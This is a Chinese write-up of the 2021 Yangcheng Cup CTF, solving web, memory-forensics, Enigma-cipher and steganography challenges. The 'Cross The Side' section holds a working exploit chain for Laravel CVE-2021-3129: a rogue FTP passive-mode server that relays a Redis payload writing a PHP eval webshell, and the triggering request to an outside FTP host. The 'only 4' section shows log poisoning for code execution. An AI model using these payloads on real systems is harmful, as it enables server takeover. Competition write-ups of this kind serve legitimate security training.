0%

羊城杯 2021

记录一下

签到题

看图猜数字,28定律,八卦,30而立,北斗七星,四大才子等猜出全部图片对应的数字如下

1
28-08-30-07-04-20-02-17-23-01-12-19

然后再md5加密一下就好了

1
Sangfor{d93b7da38d89c19f481e710ef1b3558b}

only 4

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file('index.php');
error_reporting(0);
$gwht= $_GET["gwht"];
$ycb= $_GET["ycb"];
if(preg_match("/flag/",$gwht)){
die('hack' );
}
if(preg_match("/secret/",$gwht)){
die('hack' );
}
include($gwht);
if(isset($ycb)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/Flag/",$value)) {
die('not hit');
exit();
}
}
$YCB = unserialize($ycb);
}else{
echo "what are you doing";
}
?>

预期解

用伪协议读一下serialize.php,再构造反序列化链,可以读取secret.php

1
2
3
4
5
<?php
error_reporting(0);
if(strlen($_GET['SXF'])<5){
echo shell_exec($_GET['SXF']);
}

首先通过>cat,在目标目录下写入cat文件,然后用通配符执行即可

1
secret.php?SXF=*  /*

非预期

首先直接包含/proc/self/cmdline发现是apache的服务器

/proc/pid/fd :是个目录,包含当前进程打开的每一个文件的文件描述符(file descriptor),这些文件描述符是指向实际文件的一个符号链接

这里可以用遍历/proc/self/fd来发现error日志和access日志

尝试发现/proc/self/fd/8access日志,修改ua头为php代码,包含access日志,成功解析

或者直接包含/var/www/example.com/log/access.log

Cross The Side

题目是Laravel v8.26.1,用CVE-2021-3129的伪协议的方法打发现打不动

利用ftp 被动模式攻击fastcgi去打redis

gopherus生成一个payload

image-20210920185002704

ftp被动服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import socket
from urllib.parse import unquote
# 对gopherus生成的payload进行一次urldecode
payload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_GET%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A")
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()
# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")
print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")
print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 x,x,x,x,0,1234\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
else:
conn.send(b"227 127,0,0,1,0,6379\n") # 端口计算规则:24*256+235=9000
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()
# 第一次连接是下载文件,需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1

然后发送请求

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.41.107:8077
Content-Type: application/json
Content-Length: 190

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "ftp://aaa@x.x.x.x:23/123"
}
}

写进shell后,读取flag即可

Baby–forenisc

1
volatility.exe -f 1.raw --profile=WinXPSP2x86  cmdscan

image-20210911215822797

volatility.exe取证cmdscan发现

1
2
3
4
5
Cmd #0 @ 0x3689ed8: git push -u origin master
Cmd #1 @ 0x566148: ok....
Cmd #2 @ 0x56aa08: then delete .git and flagfile
Cmd #3 @ 0x368a798: You can never find my account
Cmd #4 @ 0x56a580: hahaha!
1
volatility.exe -f 1.raw --profile=WinXPSP2x86 filescan | grep -E 'txt'

image-20210911220240845

在桌面发现ssh.txt文件,打开发现是一个私钥文件

image-20210911220633558

PuTTY分析下发现一个邮箱地址

image-20210911221015226

然后在github找到这个用户

image-20210911221916313

美化格式之后发现

image-20210911222315660

base64解密之后SangFor{S0_3azy_2_crack_noob_player}

赛博德国人

流量分析

image-20210911225240971

发现FTP协议这里有个pdf文件还有个txt文件,导出下发现,pdf存在密码

image-20210911230335289

ftp的密码即可解压

image-20210911230425844

encrypyed.txt文件内容如下

1
2
0911 = 1tle = 1tl = 350 = RZS NAJ =
nkfgp roqad boprv yrdhy zwamf qsrhb owqvt jzotr ffcjq snpqh kpwzm fprru gufez xsuws aohyw xbreu pifbz kagxj blbha jzixj zrasn zxkay lpaza ejwou itcip dfdgp rbjnv xuqzq qhtya xwwik wyybx kdgrc slrkj pgjay aidwa jeszp pbqat njojg jrplb kkhot joqpg vwecj soabm aupsr fenug ybxmr jloch kmjgc tznxl tnrqx pbeph fwymn gpoor pjkkb plkwb kxzeq quorp ipuvs utyae qyzgp mqnai iysse gzsht tsrmv crrkr opuxj tqshv ypdrw rvnzt cstlj

是德国二战的时候的一个密码机器叫恩尼玛密码机,然后下载一个模拟器

image-20210912112009462

这里首先要模拟根据天数转子信息,找了一个demo,比如Walzenlage为齿轮号,在机器的后面进行设置

image-20210912112845249

Ringstellung是对应齿轮号的号码,然后连接接线板,接线板信息根据Steckerverbindungen来设置

image-20210912112450869

然后设置转子的启动位置RZS,然后敲入检索起始信息NAJ,将检索起始信息解密出来的密码作为转子的启动位置,在下面这里设置转子的起始位置,设置好之后

image-20210912113034468

然后输入解密的内容,现在解密实际的消息,但要确保跳过密钥标识组nkfgp,然后start

image-20210912113402176

然后将得到的密码,根据德国数字转阿拉伯数字

1
VIERSIEBENFUENFSIEBENVIERACHTFUENFVIERSIEBENBERTADREISECHSSECHSZWEIDREINEUNDREISECHSDREISIEBENDREIZWEIDREINULLDREIFUENFSECHSSECHSSECHSFUENFDREISIEBENDREIFUENFDREISIEBENDREINEUNDREIFUENFSECHSSECHSDREIEINSDREINULLDREIVIERDREIACHTDREIFUENFDREISIEBENDREIEINSSECHSDREISECHSSECHSDREIVIERSECHSDREISECHSSECHSSECHSZWEIDREISIEBENDREINULLDREIDREISIEBENDORA

然后转一下hex即可或者到flag

image-20210912113803487

misc520

先用脚本循环解压下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import zipfile
import os

a = 519
passwd = b'0573'
for i in range(0,519):
old_name = ''
name = str(a)+'.zip'
a = a-1
with zipfile.ZipFile(name) as zFile:
zFile.extractall(path='./')
old_name = name
name = zFile.filelist[0].filename
if name[-3:-1] != 'zi':
break
passwd = bytes(name[0:4], 'utf-8')
os.remove(old_name)

然后解压之后有150个文件

1
2
3
4
5
6
<?php
for($i=0;$i<520;$i++){
if(md5_file($i."/story")!="5920be5416be8f3924a28da415c27a12"){
echo $i."/story";
}
}

里面有150个story文件,跑一下文件的md5,发现第150个文件md5`是和其他文件不同

打开发现

1
2
3
4
5
6
这都被你发现了?
我这故事不错吧,嘻嘻嘻
那就把flag给你吧
oh,不,还有一半藏在了pcap的心里,快去找找吧
左心房右心房,扑通扑通的心,咿呀咿呀的❤
72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108,

0.zip里面有个flag.pnglsb直接导出文件,猜下密码获取到一个flag.pcag

然后flag.pcag是一个鼠标流量,用tshark导出下data部分

然后跑下坐标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
nums = []
keys = open('out.txt','r')
f = open('xy.txt','w')
posx = 0
posy = 0
for line in keys:
if len(line) != 12 :
continue
x = int(line[3:5],16)
y = int(line[6:8],16)
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[0:2],16) # 1 for left , 2 for right , 0 for nothing
if btn_flag == 0 : # 1 代表左键
f.write(str(posx))
f.write(' ')
f.write(str(posy))
f.write('\n')
f.close()

跑下坐标

1
2
3
4
5
6
7
8
9
10
from PIL import Image
img = Image.new('RGB',(1000,1000),(255,255,255))
#创建Image对象
f = open('xy.txt')#xy.txt文件
for line in f.readlines():
point = line.split()
img.putpixel((int(point[0]),int(point[1])),(0,0,0))
#读取文件中的每一行,并修改像素
f.close()
img.show()

image-20210912105411009

把前面的72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108,加上图中的数字,猜个ascii的偏移,前面是数字减1G,减2W,从后面算起减21开始,14621}11920c13420s

根据提示要把GWHTSangfor,依次推算出flag

1
Sangfor{W3lCom3_t0_M!sc}